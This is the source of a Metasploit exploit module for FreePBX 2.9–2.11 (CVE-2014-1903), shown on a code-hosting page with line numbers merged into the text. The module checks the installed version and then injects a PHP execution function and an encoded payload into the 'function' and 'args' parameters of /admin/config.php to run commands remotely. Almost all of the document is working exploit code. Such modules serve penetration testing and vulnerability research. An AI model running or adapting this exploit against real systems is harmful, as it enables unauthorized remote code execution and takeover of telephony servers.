Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/freepbx_config_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => "FreePBX config.php Remote Code Execution",13'Description' => %q{14This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.15It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"16parameters "function" and "args".17},18'License' => MSF_LICENSE,19'Author' =>20[21'i-Hmx', # Vulnerability discovery22'0x00string', # PoC23'xistence <xistence[at]0x90.nl>' # Metasploit module24],25'References' =>26[27['CVE', '2014-1903'],28['OSVDB', '103240'],29['EDB', '32214'],30['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']31],32'Platform' => 'unix',33'Arch' => ARCH_CMD,34'Targets' =>35[36['FreePBX', {}]37],38'Privileged' => false,39'DisclosureDate' => '2014-03-21',40'DefaultTarget' => 0))4142register_options(43[44OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])45])4647register_advanced_options(48[49OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])50])51end525354def check55vprint_status("Trying to detect installed version")5657res = send_request_cgi({58'method' => 'GET',59'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")60})6162if res and res.code == 200 and res.body =~ /^(.*)$/63version = $164else65return Exploit::CheckCode::Unknown66end6768vprint_status("Version #{version} detected")6970if version =~ /2\.(9|10|11)\.0/71return Exploit::CheckCode::Appears72else73return Exploit::CheckCode::Safe74end75end7677def exploit78rand_data = rand_text_alpha_lower(rand(10) + 5)7980print_status("Sending payload")81res = send_request_cgi({82'method' => 'GET',83'uri' => normalize_uri(target_uri.path, "admin", "config.php"),84'vars_get' => {85"display" => rand_data,86"handler" => "api",87"function" => datastore['PHPFUNC'],88"args" => payload.encoded89}90})9192# If we don't get a 200 when we request our malicious payload, we suspect93# we don't have a shell, either.94if res and res.code != 20095print_error("Unexpected response, exploit probably failed!")96end9798end99end100101102